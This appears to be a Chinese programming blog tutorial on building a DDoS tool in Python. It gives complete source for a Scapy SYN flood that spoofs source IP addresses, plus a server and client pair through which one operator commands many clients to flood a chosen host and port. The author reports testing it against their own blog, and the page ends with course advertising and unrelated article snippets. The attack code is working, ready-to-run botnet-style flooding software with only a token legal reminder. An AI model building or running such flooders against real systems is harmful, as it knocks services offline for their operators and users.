Python实现DDos攻击实例详解
文章目录
- SYN 泛洪攻击
- Scapy3k 基本用法
- 代码实现
- DDos 实现思路
- argparse 模块
- socket 模块
- 代码实现
- Client 端
- 程序测试
- 后记
- 关于Python技术储备
- 一、Python所有方向的学习路线
- 二、Python基础学习视频
- 三、精品Python学习书籍
- 四、Python工具包+项目源码合集
- ①Python工具包
- ②Python实战案例
- ③Python小游戏源码
- 五、面试资料
- 六、Python兼职渠道
SYN 泛洪攻击
SYN泛洪攻击是一种比较常用的Dos方式之一。通过发送大量伪造的 TCP 连接请求,使被攻击主机资源耗尽(通常是 CPU 满负荷或内存不足)的攻击方式
我们都知道建立 TCP 连接需要三次握手。正常情况下客户端首先向服务器端发送SYN报文,随后服务端返回以SYN+ACK报文,最后客户端向服务端发送ACK报文完成三次握手
而SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理 TCP 请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务
Scapy3k 基本用法
Scapy3k其实就是Scapy的 Python3 版本,以下简称Scapy。Scapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试重应用非常广泛。Scapy是一个独立的程序同时还可以作为 Python 的第三方库使用
首先安装Scapy3k,Windows 不方便,下面的操作我都是在 Linux 中进行的
sudo pip install scapy
运行scapy
sudo scapy
因为Scapy发送数据包需要root权限,所以这里加上sudo。另外运行的时候会出现一些警告信息,因为没有安装相应的依赖包,不过暂时用不到,所以不用管
接下来我们用Scapy构造一个简单的数据包
pkt = IP(dst = "192.168.50.10")
接下来构造SYN数据包,并发送出去
pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S")
send(pkt)
我们构造了一个 IP 包和 TCP 包,并将它们组合到一块,这样就有了一个完整的 TCP 数据包,否则是无法发送出去的。IP 包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,这也是保护攻击者的一种方式。flags的值设定为S,说明我们要发送的是一个SYN数据包。非常简单的一段指令就够早了一个伪造了源 IP 地址的SYN数据包
代码实现
现在我们要用 Python 以第三方库的形式使用Scapy,使用方法和用交互式 Shell 的方式一样
前面我们构造了SYN数据包,现在需要实现随机伪造源 IP 地址、以及不同的源端口向目标主机发送SYN数据包:
import random
from scapy.all import \*
def synFlood(tgt,dPort):srcList = \['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'\]for sPort in range(1024,65535):index = random.randrange(4)ipLayer = IP(src=srcList\[index\], dst=tgt)tcpLayer = TCP(sport=sPort, dport = dPort, flags="S")packet = ipLayer / tcpLayer send(packet)
DDos 实现思路
前面我们已经实现了SYN泛洪攻击,而DDos则是多台主机一起发起攻击,我们只需要能发送命令,让连接到服务器的客户端一起向同一目标发起攻击就可以了
世界最大的黑客组织Anonymous经常使用LOIC(low Orbit Ion Cannon,滴轨道离子炮)进行大规模的DDos。LOIC有个HIVEMIND模式,用户可以通过连接到一台 IRC 服务器,当有用户发送命令,任何以HIVEMIND模式连接到 IRC 服务器的成员都会立即攻击该目标
这种方式的优点事不需要傀儡机,可以有很多 “志同道合” 的人一起帮助你实现DDos,不过不太适合在傀儡机中使用。当然实现思路有很多,根据不同情况的选择也会不同。而这里我们将采用客户端、服务器的方式来实现DDos,这种方式非常简单,可扩展性也比较强
argparse 模块
由于 Server 端需要发送命令去控制 Client 端发起攻击,所以这里我们先规定好命令格式
#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>
-H后面是被攻击主机的 IP 地址,-p指定被攻击的端口号,-c控制攻击的开始与停止
命令制定好了,接下来看一下如何使用命令解析库argparse
\# Import argparse package
import argparse
# New ArgumentParser object
parser = argparse.ArgumentParser(description="Process some integers.")
# Add parameter
parser.add\_argument('-p', dest='port', type = int, help = 'An port number!')
# Parse command line arguments
args = parser.parse\_args()
print("Port:",args.port)
上面的代码中,我们创建了一个ArgumentParser对象,description参数是对命令行解析的一个描述信息,通常在我们使用-h命令的时候显示。add_argument添加我们要解析的参数,这里我们只添加了一个-p参数,dest是通过parse_args()函数返回的对象中的一个属性名称。type就是解析参数的类型。help指定的字符串是为了生成帮助信息。argparse默认就支持-h参数,只要我们在添加参数的时候指定help的值就可以生成帮助信息了
socket 模块
Python 中的socket提供了访问 BSDsocket的接口,可以非常方便的实现网络中的信息交换。通常我们使用socket的时候需要指定ip地址、端口号、协议类型。在进行socket编程之前我们先了解一下客户端(Client)和服务器(Server)的概念。通俗的讲,主动发起连接请求的称为客户端,监听端口响应连接的称为服务器。下面我写一个客户端和服务器的例子:
客户端
\# Import socket package
import socket# Create socket
s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)# Establish connection
s.connect(('192.168.0.100', 7786))
上面这个例子我们首先导入 socket 库,然后创建了一个 socket 对象,socket 对象中的参数AF_INET表示我们使用的是 IPV4 协议,SOCK_STREAM则表示我们使用的是基于流的 TCP 协议。最后我们指定ip地址和端口号建立连接
服务器
\# Import socket package
import socketcliList = \[\]
# Create socket
s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)# Specify IP & Port
s.bind(('0.0.0.0', 7786))# Strat monitor
s.listen(10)while True:# Receive a new connectionsock, addr = s.accept()# Add sock to the listcliList.append(sock)
服务器的写法比客户端稍微复杂一些,在创建完 socket 之后,要绑定一个地址和端口,这里的0.0.0.0表示绑定到所有的网络地址,端口号只要是没被占用的就可以。之后开始监听端口,并在参数中指定最大连接数为 10。最后循环等待新的连接,并将已连接的 socket 对象添加到列表中。更多相关细节可以查看 Python 官方文档
代码实现
Server 端
由于 Server 端能等待 Client 主动连接,所以我们在 Server 端发送命令,控制 Client 端发起SYN泛洪攻击
在主函数中我们创建 socket,绑定所有网络地址和58868端口并开始监听,之后我们新开一个线程来等待客户端的连接,以免阻塞我们输入命令
def main():s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)s.bind(('0.0.0.0', 58868))s.listen(1024)t = Thread(target=waitConnect,args(s,))t.start()
由于我们要给所有客户端发送命令,所以我们在新开的线程中将连接进来的 socket 添加到一个 list 中,这个稍后介绍,但在主函数中我们第一次输入命令之前需要至少有一个客户端链接到服务器,所以这里我判断了一下socket的长度
print('Wait at least a client connection!')
while not len(socketList):pass
print('It has been a client connection!')
现在循环等待输入命令,输入之后判断命令是否满足命令格式的基本要求,如果满足,就把命令发送给所有客户端
while True:print("=" \* 50)print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')# Wait for input commandcmd\_str = input('Please input cmd:')if len(cmd\_str):if cmd\_str\[0\] == '#':sendCmd(cmd\_str)
现在程序的大体框架已经有了,接下来编写主函数中没有完成的子功能。首先我们应该实现等待客户端的函数,方便开启新的线程
在这个函数中,我们只需要循环等待客户端的连接就可以,新连接的 socket 要判断一下是否在 socketList 中已经存储过了,如果没有,就添加到 socketList 中
\# wait connection
def waitConnect(s):while True:sock, addr = s.accept()if sock not in socketList:socketList.append(socket)
我们再来实现发送命令的函数,这个函数会遍历 socketList,将每个 socket 都调用一次 send 将命令发送出去
\# send command
def sendCmd(cmd):print("Send command......")for sock in socketList:sock.send(cmd.encode = ('UTF-8'))
至此我们的Server端就完成了。新建一个文件,将其命名为ddosSrv.py,向其中添加如下代码
import socket
import argparse
from threading import ThreadsocketList = \[\]
# Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
# Send command
def sendCmd(cmd):print("Send command......")for sock in socketList:sock.send(cmd.encode('UTF-8'))# Wait connect
def waitConnect(s):while True:sock, addr = s.accept()if sock not in socketList:socketList.append(sock)def main():s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)s.bind(('0.0.0.0', 58868))s.listen(1024)t = Thread(target = waitConnect, args = (s, ))t.start()print('Wait at least a client connection!')while not len(socketList):passprint('It has been a client connection!')while True:print('=' \* 50)print('The command format:"#-H xxx.xxx.xxx.xxx -p xxx -c <start>"')# Wait for input commandcmd\_str = input("Please input cmd:")if len(cmd\_str):if cmd\_str\[0\] == '#':sendCmd(cmd\_str)if \_\_name\_\_ == '\_\_main\_\_':main()
Client 端
我们将在 Client 端实现对主机的SYN泛洪攻击,并在脚本启动后主动连接 Server 端,等待 Server 端发送命令
在主函数中我们先创建ArgumentParser()对象,并将需要解析的命令参数添加好
def main():p = argparse.ArgumentParser()p.add\_argument('-H', dest = 'host', type = str)p.add\_argument('-p', dest = 'port', type = int)p.add\_argument('-c', dest = 'cmd', type = str)
现在可以创建 socket,连接服务器了。这里为了测试,我们连接到本地的 58868 端口
try:s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)s.connect(('127.0.0.1', 58868))print('To connected server was success!')print('=' \* 50)cmdHandle(s, p)
except:print('The network connected failed!')print('Please restart the script!')sys.exit(0)
我们将接受命令和处理命令定义在一个单独的函数中。这里我们使用一个全局变量,用于判断是否有进程正在发起SYN泛洪攻击。之后就开始循环接收命令了,接收道德数据是byte型,我们需要对其进行解码,解码之后才是字符串。如果接收到的数据长度为 0,就跳过后续的内容,重新接收数据
\# Process command
def cmdHandle(sock, parser):global curProcesswhile True:# Receive commanddata = sock.recv(1024).decode('UTF-8')if len(data) == 0:print('The data is empty')continue;
如果数据长度不为 0,就判断是否具有命令基本格式的特征#,满足基本条件就需要用ArgumentParser对象来解析命令
if data\[0\] == '#':try:# Parse commandoptions = parser.parse\_args(data\[1:\].split())m\_host = options.hostm\_port = options.portm\_cmd = options.cmd
命令参数解析出来后,还需要判断到底是start命令还是stop命令。如果是start命令,首先要判断当前是否有进程在运行,如果有进程判断进程是否存活。如果当前有进程正在发起SYN泛洪攻击,我们就先结束这个进程,并清空屏幕,然后再启动一个进程,发起SYN泛洪攻击
\# DDos start command
if m\_cmd.lower() == 'start':if curProcess != None and curprocess.is\_alive():# End of processcurProcess.terminate()curProcess = Noneos.system('clear')print('The synFlood is start')p = Process(target = synFlood, args = (m\_host, m\_port))p.start()curProcess = p
如果命令是stop,并且有进程存活,就直接结束这个进程,并清空屏幕,否则就什么也不做
\# DDos stop commandelif m\_cmd.lower() == 'stop':if curProcess.is\_alive():curProcess.terminate()os.system('clear')
except:print('Failed to perform the command!')
最后,新建一个文件,命名为ddosCli.py,向其中添加如下代码
\# -\*- coding: utf-8 -\*-
import sys
import socket
import random
import argparse
from multiprocessing import Process
from scapy.all import \*
import os
isWorking = False
curProcess = None# SYN flood attack
def synFlood(tgt,dPort):print('='\*100)print('The syn flood is running!')print('='\*100)srcList = \['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'\]for sPort in range(1024,65535):index = random.randrange(4)ipLayer = IP(src=srcList\[index\], dst=tgt)tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")packet = ipLayer / tcpLayer send(packet)# Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start>'
# Process command
def cmdHandle(sock,parser):global curProcesswhile True:# Receive commanddata = sock.recv(1024).decode('utf-8')if len(data) == 0:print('The data is empty')returnif data\[0\] == '#':try:# Parse commandoptions = parser.parse\_args(data\[1:\].split())m\_host = options.hostm\_port = options.portm\_cmd = options.cmd# DDos start commandif m\_cmd.lower() == 'start':if curProcess != None and curProcess.is\_alive():curProcess.terminate()curProcess = Noneos.system('clear')print('The synFlood is start')p = Process(target=synFlood,args=(m\_host,m\_port))p.start()curProcess = p# DDos stop commandelif m\_cmd.lower() =='stop':if curProcess.is\_alive():curProcess.terminate()os.system('clear')except:print('Failed to perform the command!')def main():# Add commands that need to be parsedp = argparse.ArgumentParser()p.add\_argument('-H', dest='host', type=str)p.add\_argument('-p', dest='port', type=int)p.add\_argument('-c', dest='cmd', type=str)print("\*" \* 40)try:# Create socket objects = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM)# Connect to Servers.connect(('127.0.0.1',58868))print('To connected server was success!')print("=" \* 40)# Process commandcmdHandle(s,p)except:print('The network connected failed!')print('Please restart the script!')sys.exit(0)if \_\_name\_\_ == '\_\_main\_\_':main()
程序测试
首先运行Server端脚本:
sudo python3 ddosSrv.py
然后再运行Client端脚本,一定要用root权限运行
此时可以看到Client端已经提示连接成功了
Server端也提示有一个客户端连接了
输入一个命令测试一下,这里我以我自己的博客为目标进行测试,各位请遵守网络安全法
看到Client端已经开始发送数据包了,说明已经发起了SYN泛洪攻击
后记
scapy库是基于 python2 的,如果是 python3,应该使用kamene,详情可以参考 kamene 官方文档和 scapy 官方文档
关于Python技术储备
学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!
保存图片微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】

一、Python所有方向的学习路线
Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、Python基础学习视频
② 路线对应学习视频
还有很多适合0基础入门的学习视频,有了这些视频,轻轻松松上手Python~在这里插入图片描述
③练习题
每节视频课后,都有对应的练习题哦,可以检验学习成果哈哈!
因篇幅有限,仅展示部分资料
三、精品Python学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、Python工具包+项目源码合集
①Python工具包
学习Python常用的开发软件都在这里了!每个都有详细的安装教程,保证你可以安装成功哦!
②Python实战案例
光学理论是没用的,要学会跟着一起敲代码,动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。100+实战案例源码等你来拿!
③Python小游戏源码
如果觉得上面的实战案例有点枯燥,可以试试自己用Python编写小游戏,让你的学习过程中增添一点趣味!
五、面试资料
我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
六、Python兼职渠道
而且学会Python以后,还可以在各大兼职平台接单赚钱,各种兼职渠道+兼职注意事项+如何和客户沟通,我都整理成文档了。
这份完整版的Python全套学习资料已经上传CSDN,朋友们如果需要可以保存图片微信扫描下方CSDN官方认证二维码免费领取【保证100%免费
】

相关文章:

Python实现DDos攻击实例详解
文章目录 SYN 泛洪攻击Scapy3k 基本用法代码实现DDos 实现思路argparse 模块socket 模块代码实现Client 端程序测试后记关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案…...

微信小程序实现【点击 滑动 评分 评星(5星)】功能
wxml文件: <view class"wxpl_xing"><view class"manyidu">{{scoreContent}}</view><view><block wx:for{{scoreArray}} wx:for-item"item"><view classstarLen bindtapchangeScore data-sy"{{…...
堡垒机的用途
堡垒机的用途 堡垒机,即在一个特定的网络环境下,为了保障网络和数据不受来自外部和内部用户的入侵和破坏,而运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时…...

超全超实用行业解决方案合集,覆盖十大行业数据应用需求
现代企业面对复杂的业务需求,对数据分析的需求日益增加。 从实时销售到市场趋势,从客户行为到产品优化,每个环节都依赖于数据支持。然而,传统的数据分析平台常分散在不同系统和团队中,形成数据孤岛,降低了…...

一盏茶的时间,入门 Node.js
一、.什么是 Node.js? Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时,用于构建高性能、可伸缩的网络应用。 它采用事件驱动、非阻塞 I/O 模型,使其在处理并发请求时表现出色。 二、安装 Node.js 首先,让我们从 Node.…...
关于Java多线程的一些随笔
Synchronized与ReentrantLock有哪些相同点和不同点? 在Java中,synchronized关键字和ReentrantLock类都用于管理线程间的同步,但它们在实现方式、功能和灵活性方面存在一些差异。以下是它们的相同点和不同点: 相同点 互斥性&…...
Answering difficult questions in other way
I’m not (too) sure Q:Do you think computers make life easier? A:I’m not (too) sure, to be honest, but I reckon they do make life easier because… I can’t say for sure, but … Q:Do you think computers make lif…...
RabbitMQ教程:Linux下安装、基本命令与Spring Boot集成
RabbitMQ教程:Linux下安装、基本命令与Spring Boot集成 1. RabbitMQ简介 RabbitMQ是一个开源的消息代理和队列服务器,用于通过轻量级消息传递协议(AMQP)在分布式系统中传递消息。它支持多种编程语言,包括Java、Pytho…...

王者荣耀小游戏
第一步是创建项目 项目名自拟 第二部创建个包名 来规范class 然后是创建类 GameFrame 运行类 package com.sxt; package com.sxt;import java.awt.Graphics; import java.awt.Image; import java.awt.Toolkit; import java.awt.event.ActionEvent; import java.awt.event.…...

JAVA小游戏“简易版王者荣耀”
第一步是创建项目 项目名自拟 第二部创建个包名 来规范class 然后是创建类 GameFrame 运行类 package com.sxt;import java.awt.Graphics; import java.awt.Image; import java.awt.Toolkit; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; im…...

Nginx高级
Nginx高级 第一部分:扩容 通过扩容提升整体吞吐量 1.单机垂直扩容:硬件资源增加 云服务资源增加 整机:IBM、浪潮、DELL、HP等 CPU/主板:更新到主流 网卡:10G/40G网卡 磁盘:SAS(SCSI) HDD(机械…...

深度学习中小知识点系列(三) 解读Mosaic 数据增强
前言 Mosaic数据增强,这种数据增强方式简单来说就是把4张图片,通过随机缩放、随机裁减、随机排布的方式进行拼接。Mosaic有如下优点: (1)丰富数据集:随机使用4张图片,随机缩放,再随…...

telnet-MISC-bugku-解题步骤
——CTF解题专栏—— 题目信息: 题目:这是一张单纯的图片 作者:未知 提示:无 解题附件: 解题思路: (⊙﹏⊙)这是个什么文件pcap文件分析_pcap文件打开-CSDN博客查了一下,但没看懂,…...

大数据Doris(二十九):数据导入(Insert Into)
文章目录 数据导入(Insert Into) 一、创建导入...

jmeter测试dubbo接口
本文讲解jmeter测试dubbo接口的实现方式,文章以一个dubbo的接口为例子进行讲解,该dubbo接口实现的功能为: 一:首先我们看服务端代码 代码架构为: 1:新建一个maven工程,pom文件为: 1…...

分类预测 | Matlab实现基于DBN-SVM深度置信网络-支持向量机的数据分类预测
分类预测 | Matlab实现基于DBN-SVM深度置信网络-支持向量机的数据分类预测 目录 分类预测 | Matlab实现基于DBN-SVM深度置信网络-支持向量机的数据分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.利用DBN进行特征提取,将提取后的特征放入SVM进行分类…...

android系统新特性——用户界面以及系统界面改进
用户界面改进 Android用户界面改进最明显的就是MD了。MD是Google于2014年推出的设计语言,它是一套完整的设计系统,包含了动画、样式、布局、组件等一系列与设计有关的元素。通过对这些行为的描述,让开发者设计出更符合目标的软件,…...
电量计驱动代码
外部电量计驱动代码,直接上代码了,懒,不做细节分析。。。。。 /** Fuelgauge battery driver** This package is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License version 2 as* published by the Free Soft…...

如何将音频添加到视频并替换视频中的音轨
随着视频流媒体网站的流行和便携式设备的发展,你可能越来越倾向于自己制作视频并在互联网上分享。有时,你可能还需要编辑视频并为其添加背景音乐,因为音乐总是对视频的感知起着神奇的作用。 那如何给视频添加音频呢?或者如何用新…...

Android 单元测试初体验
Android 单元测试初体验 前言一、单元测试是什么?二、简单使用1.依赖2.单元测试代码简单模版及解释 总结 前言 当初在学校学安卓的时候,老师敢教学进度,翻到单元测试这一章节的时候提了两句,没有把单元测试当重点讲,只…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...
基于大模型的 UI 自动化系统
基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...

使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...

黑马Mybatis
Mybatis 表现层:页面展示 业务层:逻辑处理 持久层:持久数据化保存 在这里插入图片描述 Mybatis快速入门 
centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...
【位运算】消失的两个数字(hard)
消失的两个数字(hard) 题⽬描述:解法(位运算):Java 算法代码:更简便代码 题⽬链接:⾯试题 17.19. 消失的两个数字 题⽬描述: 给定⼀个数组,包含从 1 到 N 所有…...

CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别
UnsatisfiedLinkError 在对接硬件设备中,我们会遇到使用 java 调用 dll文件 的情况,此时大概率出现UnsatisfiedLinkError链接错误,原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用,结果 dll 未实现 JNI 协…...

Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...